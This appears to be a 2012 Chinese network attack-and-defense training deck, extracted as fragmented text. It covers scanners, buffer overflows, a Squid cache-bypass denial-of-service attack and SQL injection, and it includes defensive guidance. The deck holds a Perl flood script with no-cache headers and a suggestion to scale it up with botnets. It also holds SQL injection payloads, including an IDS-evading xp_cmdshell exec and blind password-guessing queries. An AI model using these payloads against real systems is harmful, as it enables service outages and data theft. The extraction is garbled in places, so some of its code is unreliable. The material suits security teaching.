资源描述
,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,#,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,#,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,XXXXXXXXXXX,攻防实验室,攻防培训教材,2012,年,2,月,目录,攻防简介,攻防的基础知识,攻击分类讲解,附录,2,关于攻防的简介,计算机网络攻防是指利用计算机渗透,技术、病毒,对抗等各种可能的手段和措施,向对方的计算机网络与信息系统进行侦察、侵扰、欺骗、破坏、远程控制和资源窃取,使对方的信息和系统保护能力降低或丧失,同时采取各种有效的信息安全防护措施保护己方计算机网络与信息系统免受,攻,击,方,攻击的综合行动。,3,1,:攻防的基础知识,4,网络安全,信息安全,关键技术,安全威胁及分类,威胁来源,5,1,网络安全,&,信息安全,网络安全,从其本质上来讲就是网络上的信息安全。它涉及的领域相当广泛,这是因为在目前的公用通信网络中存在着各种各样的安全漏洞和威胁。从广义来说,凡是涉及到网络上信息的,保密性、完整性、可用性、真实性和可控性,的相关技术和理论,都是网络安全所要研究的领域。,确保网络系统的信息安全是网络安全的目标,,信息安全,包括两个方面:,信息的存储安全,和,信息的传输安全,。,信息的存储安全,是指信息在静态存放状态下的安全,如信息是否会被非授权调用等。,信息的传输安全,是指信息在动态传输过程中安全,如信息是否被篡改、重放等。,6,2,信息安全的概念,信息安全,是指确保以电磁信号为主要形式的、在计算机网络化(开放互连)系统中进行自动通信、处理和利用的信息内容,在各个物理位置、逻辑区域、存储和传输介质中,处于,动态,和,静态,过程中的,机密性、完整性、可用性、可审查性和抗抵赖性,,与,人、网络、环境,有关的,技术安全、结构安全和管理安全,的总和。,人,指信息系统的主题,包括各类用户、支持人员,以及技术管理和行政管理人员。,网络,则指以计算机、网络互连设备、传输介质、信息内容及其操作系统、通信协议和应用程序所构成的物理的与逻辑的完整体系。,环境,则是系统稳定和可靠运行所需要的保障体系,包括建筑物、机房、动力保障与备份,以及应急与恢复体系。,7,信息窃取,信息传递,信息冒充,信息篡改,信息抵赖,加密技术,完整性技术,认证技术,数字签名,3,关键技术,8,1.4,安全威胁,拒绝服务攻击,内部、外部泄密,逻辑炸弹,特洛伊木马,黑客攻击,计算机病毒,信息丢失、篡改、销毁,后门、隐蔽通道,蠕虫,Internet,9,1.5,安全威胁的主要来源,内部人员(包括信息系统的管理者、使用者和决策者),准内部人员(包括信息系统的开发者、维护者等),特殊身份人员(具有特殊身份的人,比如,审计人员、稽查人员、记者等),外部黑客或小组,竞争对手,网络恐怖组织,军事组织或国家组织等,10,2.,攻击分类,在最高层次,攻击被分为两类:,主动攻击:包含攻击者访问他所需要信息的故意行为。主动攻击包括拒绝服务攻击、信息篡改、资源使用、欺骗等攻击方法。,被动攻击:主要是收集信息而不是进行访问,数据的合法用户对这种活动一点也不会觉察到。被动攻击包括嗅探、信息收集等攻击方法。,11,1.,扫描类攻击,2.,溢出类攻击,3.,系统类攻击,4.HTTP,类攻击,5.WEB-CGI,类攻击,6.,蠕虫类攻击,7.,木马类攻击,8.,访问类攻击,9.,拒绝服务类攻击,10.RPC,类攻击,在,TOPIDP,产品中的细分攻击分类,:,12,2.1,扫描攻击,13,扫描攻击,:,就是应用一些扫描工具或通过一些命令对网络中的主机进行信息收集与漏洞探测的攻击行为,.,扫描技术主要分为两类:主机安全扫描技术和网络安全扫描技术,其中网络安全扫描技术主要针对系统中存在的弱口令或与安全规则相抵触的对象进行检查;而主机安全扫描技术则是通过执行一些脚本文件,对系统进行模拟攻击,同时记录系统的反应,从而发现其中的漏洞。常见的扫描技术主要有端口扫描和漏洞扫描,。,14,一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。,不论攻击者是从外部还是从内部攻击某一网络系统,攻击的机会都是系统本身所存在的安全隐患。对于系统管理员来说,漏洞扫描技术是最好的助手,能主动发现主机系统和网络系统的安全隐患,及时修补漏洞。漏洞扫描技术是一项重要的主动防范安全技术。,15,扫描器,扫描器是一类自动检测本地或远程主机安全弱点的程序,它能够快速的准确的发现扫描目标存在的漏洞并提供给使用者扫描结果。工作原理是扫描器向目标计算机发送数据包,然后根据对方反馈的信息来判断对方的操作系统类型、开发端口、提供的服务等敏感信息。,16,扫描器工作原理,扫描器通过选用远程,TCP/IP,不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息(比如:是否能用匿名登陆!是否有可写的,FTP,目录,是否能用,TELNET,,,HTTPD,是用,ROOT,还是,nobady,在跑,17,扫描器能干什么,扫描器并不是一个直接的攻击网络漏洞的程序,它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析,帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。,扫描器应该有三项功能:发现一个主机或网络的能力;一旦发现一台主机,有发现什么服务正运行在这台主机上的能力;通过测试这些服务,发现漏洞的能力。,18,简单介绍网络中的,一些,扫描器,19,X-Scan,是安全焦点的力作,扫描内容包括:远程操作系统类型及版本,标准端口状态及端口,BANNER,信息,,CGI,漏洞,,IIS,漏洞,,RPC,漏洞,,SQL-SERVER,、,FTP,、,NT-SERVER,等弱口令用户,,NETBIOS,信息等等。扫描结果保存在,/log/,目录中,,index_*.htm,为扫描结果索引文件。对于一些已知漏洞,给出了相应的漏洞描述、利用程序及解决方案。,X-Scan,不光是黑客手中的利器,也是网络管理员的得力助手。,X-Scan,程序界面如图,2.4,所示,上方功能按钮包括:“扫描参数”、“开始扫描”、“暂停扫描”、“终止扫描”、“检测报告”、“使用说明”、“在线升级”、“退出”。,20,21,在进行扫描前需要设置一下扫描参数,按,Ctrl+E,即可调出扫描参数设置窗口,22,检测范围”中,可以设置要扫描的,IP,地址,可以是一台服务器,也可以是某个网段的服务器,格式为:,192.168.0.1-192.168.0.224,。,在“全局设置”中包含了所有全局性扫描选项,包括“扫描模块”,“并发扫描”,“扫描报告”,“其他设置”。,23,1. “,扫描模块”主要是设置要扫描对方的哪些漏洞和信息。,2. “,并发扫描”中可以设置最大并发主机数量,最大并发线程数量和各插件最大并发线程数量。,3. “,扫描报告”则是设置扫描后生成的报告的文件名和格式,以及是否自动生成并显示报告。,4.,在“其他设置”中,如果我们设置了“跳过没有响应的主机”,对方禁止了,PING,或防火墙设置使对方没有响应的话,,X-Scan,会自动跳过,自动检测下一台主机。如果用“无条件扫描”的话,,X-Scan,会对目标进行详细检测,这样结果会比较详细也会更加准确,但扫描时间会延长。,24,“,插件设置”中,包括“端口相关设置”,“,SNMP,相关设置”,“,NETBIOS,相关设置”,“漏洞检测脚本设置”,“,CGI,相关设置”,“字典文件设置”。,1. “,端口相关设置”中我们可以自定义一些需要检测的端口。检测方式“,TCP”,、“,SYN”,两种,,TCP,方式容易被对方发现,准确性要高一些,,SYN,则相反。,2. “SNMP,相关设置”主要是针对,SNMP,信息的一些检测设置。,3. “NETBIOS,相关设置”是针对,WINDOWS,系统的,NETBIOS,信息的检测设置,包括的项目有很多种,我们根据需求选择实用的就可以了。,25,4. “,漏洞检测脚本设置”可以设置使用哪些漏洞检测脚本,是否使用破坏性脚本。,5. “CGI,相关设置”扫描,CGI,漏洞的相关设置。,6. “,字典文件设置” 是,X-Scan,自带的一些用于破解远程账号所用的字典文件,这些字典都是简单或系统默认的账号等。我们可以选择自己的字典或手工对默认字典进行修改。默认字典存放在“,DAT”,文件夹中。字典文件越大,探测时间越长。,“,扫描参数”设置好后单击“开始扫描”按钮,(,绿色三角,)X-Scan,就开始扫描了。,26,NBSI,扫描器,小竹的作品,功能很多,比较常用的有“网站扫描”,“注入分析”,“扫描及工具”这三个功能。“网站扫描”是扫描网站的,SQL,注入点,并会显示出可能存在注入漏洞的地址,有极高,中等,极低几个等级提示,27,通过“网站扫描”得到,SQL,注入点后,单击“注入分析”按钮,进入注入分析界面,单击“检测”按钮,就会得到该网站的数据库信息,以及当前用户名和当前的数据库名,28,啊,D,注入工具,啊,D SQL,注入工具主要功能和使用方法与,NBSI,类似,不过该软件有个特色就是支持汉字破解,而且速度很快。,29,ISS(Internet Security Scanner),ISS,公司开发和维护的商业漏洞扫描程序,它的可移植性和灵活性很强,众多的,UNIX,的平台上都可以运行。,流光,在国内可以与,X-Scan,相提并论的扫描器,它除了能够像,X-Scan,那样扫描众多漏洞、弱口令外,还集成了常用的入侵工具,如字典工具、,NT/IIS,工具等,还独创了能够控制“肉鸡”进行扫描的“流光,Sensor,工具”和为“肉鸡”安装服务的“种植者”工具。,30,Retina,是,eEye,公司,(),的产品,强大的网络漏洞检测技术可以有效的检测并修复各种安全隐患和漏洞,并且生成详细的安全检测报告,兼容各种主流操作系统、防火墙、路由器等各种网络设备。曾在国外的安全评估软件的评测中名列第一,31,2.2,溢出类攻击,32,缓冲区溢出攻击,:,缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果、更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。,33,2.2.1,缓冲区溢出,概念,缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是 程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患,.,操作系统所使用的缓冲区 又被称为,堆栈,.,在各个操作进程之间,指令会被临时储存在,堆栈,当中,堆栈,也会出现缓冲区溢出,。,34,2.2.2,缓冲区溢出攻击,危害,缓冲区溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大,最经典的一类漏洞利用方式。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到,shell,,然后为所欲为。,35,2.2.3,缓冲区溢出攻击的原理,缓冲区溢出攻击的原理是通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。,例如下面程序:,void function(char *b) ,char a8;,strcpy(a,b);,上面的,strcpy(),将直接把,b,中的内容,copy,到,a,中。这样只要,b,的长度大于,8,,就会造成,a,的溢出,使程序运行出错。存在像,strcpy,这样的问题的标准函数还有,strcat(),、,sprintf(),、,gets(),等。,36,当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(,Segmentation fault,),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户,shell,,再通过,shell,执行其它命令。,缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。,37,2.2.4如何防范缓冲区溢出攻击,防范缓冲区溢出攻击,常见的有四种基本方法:强制要求编写正确的代码、非执行的缓冲区、数组边界检查和程序指针完整性检查。,38,2.2.5编写正确的代码,要求编写正确的代码是一件非常有意义但耗时的工作,例如,C,语言编程就非常容易出错。尽管经过长期努力人们知道了如何编写安全的代码,具有安全漏洞的程序依然不断出现。人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序,防范因为缓冲区溢出漏洞引起的攻击。这些工具的目的在于通过人为随机地产生,些缓冲区溢出来寻找代码的安全漏洞。还有一些静态分析工具用于侦测缓冲区溢出的存在。虽然这些工具可以帮助程序员开发更安全的程序,但是由于,C,语言的特点,它们不可能找出所有的缓冲区溢出漏洞。侦错技术仅能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。,39,2.2.6非执行的缓冲区,通过操作系统控制,使得缓冲区不可执行,称为非执行的缓冲区技术,这是另一种阻止攻击者植入攻击代码的方法。例如可以设定堆栈数据段不可执行,这样就可以最大限度地保证了程序的兼容性。,Linux,和,Solaris,系统都发布了有关这方面的内核补丁。因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题。通过使被攻击程序的数据段地址空间不可执行,使得攻击者不可能执行植入到被攻击程序输入缓冲区的代码,可以阻止很多缓冲区溢出攻击的发生。但是这种方法仍然存在局限性,原因在于,UNIX,和,Windows,系统为了实现更好的性能和功能,往往允许在数据段中动态地放入可执行的代码,为了保持程序的兼容性,不可能阻止所有程序的数据段都不可执行;另外,攻击者也并不一定都要依靠植入攻击代码实现缓冲区溢出攻击。,40,2.2.7数组边界检查,通过利用编译器进行数组边界检查的方法,使得缓冲区溢出不可能出现,从而完全消除缓冲区溢出的威胁,实现缓冲区的保护。攻击者植入代码引起缓冲区溢出是一种手段,扰乱程序的执行流程是另一种手段。与非执行的缓冲区保护策略不同,数组边界检查策略的关键在于只要保证数组不能被溢出,溢出攻击也就无从谈起。为了实现数组边界检查,则要确保所有对数组的读写操作都应当被检查,以保证对数组的操作在正确范围内进行。最直接的方法是检查所有的数组操作,通常可采用一些优化技术减少检查的次数。,41,2.2.8程序指针完整性检查,通过对程序指针进行完整性检查,也可以阻止多数缓冲区溢出攻击。这种方法试图在程序指针被引用之前检测到它的改变。因此即便一个攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,这个指针将不会被使用。与数组边界检查相比,这种方法虽然不能解决所有的缓冲区溢出问题,但是它在性能上有很大优势,兼容性也很好。,42,2.2.9程序指针完整性检查,由于最普通的缓冲区溢出攻击手段是在堆栈中植入代码,采用非执行的缓冲区策略,如非执行堆栈和堆栈保护的方法就可以有效防卫这种攻击。非执行堆栈可以防卫所有把代码植入堆栈的攻击方法,堆栈保护可以防卫所有改变活动记录的方法。这两种方法相互兼容,可以同时防卫多种可能的攻击。剩下的攻击手段基本上可以依靠指针保护的方法来防卫。,43,2.3.系统类攻击,44,系统漏洞,:,是指应用软件或操作系统软件在逻辑设计上的缺陷或在编写时产生的错误,这个缺陷或错误可以被不法者或者电黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取您电脑中的重要资料和信息,甚至破坏您的系统。,漏洞,会影响到的范围很大,包括系统本身及其支撑软件,网络客户和服务器软件,网络路由器和安全防火墙等。换而言之,在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备,同种设备的不同版本之间,由不同设备构成的不同系统之间,以及同种系统在不同的设置条件下,都会存在各自不同的安全漏洞问题。,45,windows,系统漏洞问题是与时间紧密相关的。一个,windows,系统从发布的那一天起,随着用户的深入使用,系统中存在的漏洞会被不断暴露出来,这些早先被发现的漏洞也会不断被系统供应商:如微软公司发布的补丁软件修补,或在以后发布的新版系统中得以纠正。而在新版系统纠正了旧版本中具有漏洞的同时,也会引入一些新的漏洞和错误。,46,例如以前比较流行的是,ani,鼠标漏洞(,MS07-017,),它是由于利用了,Windows,系统对鼠标图标处理的缺陷,木马作者制造畸形图标文件从而溢出,木马就可以在用户毫不知情的情况下执行恶意代码。该漏洞的利用程序通常伪装成一个图片,只要点击了带有恶意代码图片的网站或邮件,就会被感染上恶意程序。,因而随着时间的推移,旧的系统漏洞会不断消失,新的系统漏洞会不断出现。系统漏洞问题也会长期存在。,47,2.4.,HTTP类攻击,48,2.4.1,技术背景,随着,Web,技术越来越广泛的应用到我们的生活,,Web,应用的架构的设计者和开发者不得不面对这么一个问题,那就是,Web,不断增长的访问量和负载,随之提升性能的相关技术应运而生,如,DNS,轮询、负载均衡、,Cache,技术等等。如果有兴趣,大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了,squid,反向代理,通过,Squid,的,Cache,提供高速,Web,响应。,49,2.4.2,攻击原理,Cache,机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了,Web,服务提供商应对,Get Flood,的能力。,用户对网站的访问,大多被分布的,Cache,服务器分担了,由于,Cache,服务器的数量以及,Cache,的良好处理吞吐性能,即便发生了,Get Flood,等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一,Cache,主机瘫痪也不会对整体,Web,服务造成影响。,50,我们,可以假设这样一种形势,如果攻击者可以穿过,Cache,,直接将负载压力传达到后台提供,HTTP,服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为,Cache,无法得到更新而服务受到影响,达到拒绝服务的效果。,那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过,HTTP,指令来达到此种攻击。,HTTP,协议(,v1.1,和,v1.0,)都提供了,Cache,处理字段,其中字段,Cache-Control,(,v1.0,中为,Pragma,),当这个字段的值为,no-cache,时,大多数,cache,软件将不对请求作出响应,而直接将请求传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。,51,效果验证,为了验证这种理论上的攻击形式,,Coolc,架设了简单的应用环境进行验证,正常访问,而在正常情况下,,Squid,会在内存,Cache,中处理所有请求,可以发现大多数请求的压力根本无法到达,Apache,,而直接在,Squid,消化。如下所示,,500,个请求,只有一个到达了,Apache,,而这个访问,只是,Squid,为了到,Apache,拉取最初始的文件内容造成的。,52,roottopsec:/squid-2.5.STABLE12#cat apache-access_log |wc -l,1,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |awk print $4|uniq -c,499 TCP_MEM_HIT/200,53,指令绕过,当,Squid,在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事将在访问日志中记为一条,TCP_CLIENT_REFRESH_MISS,。通过下面试验,我发送了,500,个带特殊标志位的,HTTP,请求,直接越过了,Cache,,而将压力直接加载到后台,下面的结果我们验证了效果。,54,用,Pragma: no-cache,绕过,roottopsec:/squid-2.5.STABLE12#cat apache-access_log |wc -l,500,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |awk print $4|uniq -c,500 TCP_CLIENT_REFRESH_MISS/200,用,Cache-Control:no-cache,绕过,roottopsec:/squid-2.5.STABLE12# cat apache-access_log |wc -l,500,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |awk print $4|uniq -c,500 TCP_CLIENT_REFRESH_MISS/200,55,演示代码:,use IO:Socket;,#$host=shift(ARGV);,$i=1;,while ($inew(Proto = tcp,PeerPort = 80,#PeerAddr = ,PeerAddr = ,)|die(print cantt connet $!);,$remote-autoflush(1);,print $remote GET /index.html HTTP/1.1rnAccept:image/gif image/x-xbitmap,image/jpeg,application/x-shockwave-flashrnReferer: rnAccept:-,Language: zh-cnrnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;,SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)rnCache-Control:no-,cachernHOST:nn;,#print ;,close $remote;,#sleep 1;,56,实际应用,利用配置问题,在实际应用中的攻击,也许对方网管会采取作,Squid,的,ACL,方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用,Squid,默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。,场景某网管在,Squid,通过,ACL,做了,no-cache,过滤,使得加杂,no-cahce,的指令无法穿过,但是一样遭到了,Cache,拒绝服务攻击。,57,攻击原理,Squid,的处理方式当返回为,404,、,403,时,通过,cache,处理减轻后台,Web,系统的负担。,通过程序用,GET,方式访问,500,次不存在的文件“,index.html,。”,查看,squid,的日志,,cache,住了绝大多数请求。,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |wc -l,499,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |awk print $4|uniq -c,499 TCP_NEGATIVE_HIT/404,roottopsec:/squid-2.5.STABLE12# cat apache-access_log |wc -l,0,58,是否有方式可以绕过,cache,机制和,ACL,限制,将类似,404,压力施加到服务器上?答案时肯定的,那就是通过访问,cgi-bin,目录下的文件。,通过执行攻击代码我们同样实现了对后台主机的攻击,穿透了,Cache,。,roottopsec:/squid-2.5.STABLE12# cat squid_access.log |awk print $4|uniq -c,499 TCP_MISS/404,roottopsec:/squid-2.5.STABLE12# cat apache-access_log |wc -l,499,59,从日志中可以发现如下痕迹。,172.16.10.1 - - 08/Apr/2011:16:33:50 -0800 GET /cgi-bin/index.html1 HTTP/1.0 404 298,172.16.10.1 - - 08/Apr/2011:16:33:50 -0800 GET /cgi-bin/index.html1 HTTP/1.0 404 298,172.16.10.1 - - 08/Apr/2011:16:33:50 -0800 GET /cgi-bin/index.html1 HTTP/1.0 404 298,172.16.10.1 - - 08/Apr/2011:16:33:50 -0800 GET /cgi-bin/index.html1 HTTP/1.0 404 298,60,实际上造成上述原因就死活因为默认配置中对于,cgi-bin,目录做了特殊处理,导致对于其放开了,Cache,的限制。,# TAG: hierarchy_stoplist,# A list of words which, if found in a URL, cause the object to,# be handled directly by this cache. In other words, use this,# to not query neighbor caches for certain objects. You may,# list this option multiple times. Note: never_direct overrides,# this option.,#We recommend you to use at least the following line.,hierarchy_stoplist cgi-bin ?,# TAG: no_cache,# A list of ACL elements which, if matched, cause the request to,# not be satisfied from the cache and the reply to not be cached.,# In other words, use this to force certain objects to never be cached.,# You must use the word DENY to indicate the ACL names which should,# NOT be cached.,#We recommend you to use the following two lines.,acl QUERY urlpath_regex cgi-bin ?,no_cache deny QUERY,61,扩展思路,当然目前这种攻击方式还仅仅是理论上的攻击,比如攻击代码单线程,攻击,IP,和特征明显。很容易被识别并作,ACL,过滤。但是当我们扩展思路,如果我们利用大量的,botnet,或代理,变化所访问的文件和,HTTP,指令内容进行攻击,那么造成的攻击将会更加有威力,并且难以识别。同时由于攻击负责将直接加载于后台,那么作为防御方的主机资源优势也大打折扣。,防御方法,最简单有效的方法无非是通过,SQUID,的配置中加载,ACL,禁用,no-cache,指令,不过此方法往往只在静态页面的服务器比较容易实现。,如:,acl LocalServers dst 192.168.8.0/24,no_cache deny LocalServers,62,总结,实际上,HTTP,指令的攻击不仅仅与此,本身,HTTP,协议的扩展协议指令一样有很多有待挖掘的地方,对于此种攻击思路,虽然,Coolc,目前还没看到相关的描述,但是个人感觉也许在地下组织中,这些思路早已出现,甚至已经有了成熟的工具,,coolc,在这里全当抛砖引玉,希望对网络安全有兴趣的同仁可以同我联系,共同讨论研究。,63,2.5 WEB-CGI类攻击,64,2.5.1 CGI(Common Gateway Interface),是,HTTP,服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。,65,绝大多数的,CGI,程序被用来解释处理杰自表单的输入信息,并在服,务器产生相应的处理,或将相应的信息反馈给浏览器。,CGI,程序使,网页具有交互功能。,4. CGI,处理步骤:,通过,Internet,把用户请求送到服务器。,服务器接收用户请求并交给,CGI,程序处理。,CGI,程序把处理结果传送给服务器。,服务器把结果送回到用户。,66,SQL,注入攻击是黑客对数据库进行攻击的常用手段之一。随着,B/S,模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的,SQL Injection,,即,SQL,注入。,2.5.2、SQL注入攻击,67,原理,当应用程序使用输入内容来构造动态,sql,语句以访问数据库时,会发生,sql,注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生,sql,注入。,sql,注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的,SQL,注入可以通过测试工具,pangolin,进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态,sql,命令,或者作为存储过程的输入参数,这些表单特别容易受到,sql,注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是,sql,注入就发生了。,68,一些案例,绕,过,IDS,的检测,使用变量,;declare a sysname set a=xp_+cmdshell exec a dir c:,;declare a sysname set a=xp+_cm+dshell exec a dir c:,开启远程数据库,基本语法,select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 ),参数:,(1) OLEDB Provider name,其中连接字符串参数可以是任何端口用来连接,比如,select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table,69,一些,SQL,网站脚本,注入,的经典,语句,举例,判断,有无注入,点,:,and,1=1 and 1=2,猜,表一般的表的名称无非是,admin adminuser user pass password,等,.,and,0(select count(*) from admin) -,判断是否存在,admin,这张表,猜,帐号数目 如果遇到,0,返回正确页面,1,返回错误页面说明帐号数目就是,1,个,and 00),猜解各个字段的长度 猜解长度就是把,0,变换 直到返回正确页面为止,and,1=(select count(*) from admin where len(*)0),and,1=(select count(*) from admin where len(name)=6),正确,猜,解字符,and 1=(select count(*) from admin where left(name,1)=a) -,猜解用户帐号的第一位,就,这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了,and,1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1)=51) -,这个查询语句可以猜解中文的用户和密码,.,只要把后面的数字换成中文的,ASSIC,码就,OK.,最后把结果再转换成字符,.,70,2.6蠕虫类攻击,71,2.6.1,蠕虫病毒,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的 一种计算机程序,其破坏力和传染性不容忽视。与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!,72,蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播,传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在,DOS,环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序,(,或是一套程序,),,它能传播自身功能的拷贝或自身(蠕虫病毒)的某些部分到其他的计算机系统中,(,通常是经过网络连接,),。,73,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身,(,因此在任意给定的时刻,只有一个蠕虫的拷贝运行,),,这种蠕虫有时也叫,野兔,,蠕虫病毒一般是通过,1434,端口漏洞传播。,74,对于利用电子邮件传播的蠕虫病毒来说,通常利用的是各种各样的欺骗手段诱惑用户点击的方式进行传播。恶意网页确切地讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。对于恶意网页,常常采取,vbscript,和,javascript,编程的形式,由于编程方式十分的简单,所以在网上非常的流行。,75,Vbscript,和,javascript,是由微软操作系统的,wsh,(,WindowsScriptingHostWindows,脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种,vbs,脚本病毒,然后伪装成邮件附件诱惑用户点击运行。更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。,76,2.6.2,比较异同,蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,,windows,下可执行文件的格式为,pe,格式,(Portable Executable),,当需要感染,pe,文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像,DIRII,这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。,77,蠕虫一般不采取利用,pe,格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机,.,局域网条件下的共享文件夹,电子邮件,email,,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球,!,而且蠕虫的主动攻击性和突然爆发性会使得人们手足无策,!,78,蠕虫具有传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球,!,而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策,!,凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。所以从这个意义上说,蠕虫也是一种病毒!网络蠕虫病毒,作为对互联网危害严重的一种计算机程序,其破坏力和传染性不容忽视。,79,与传统的病毒不同,蠕虫病毒以计算机为载体,以网络为攻击对象!本文中将蠕虫病毒分为针对企业网络和个人用户,2,类,并从企业用户和个人用户两个方面探讨蠕虫病毒的特征和一些防范措施。防止系统漏洞类蠕虫病毒的侵害,最好的办法是打好相应的系统补丁,可以应用瑞星杀毒软件的“漏洞扫描”工具,这款工具可以引导用户打好补丁并进行相应的安全设置,彻底杜绝病毒的感染。 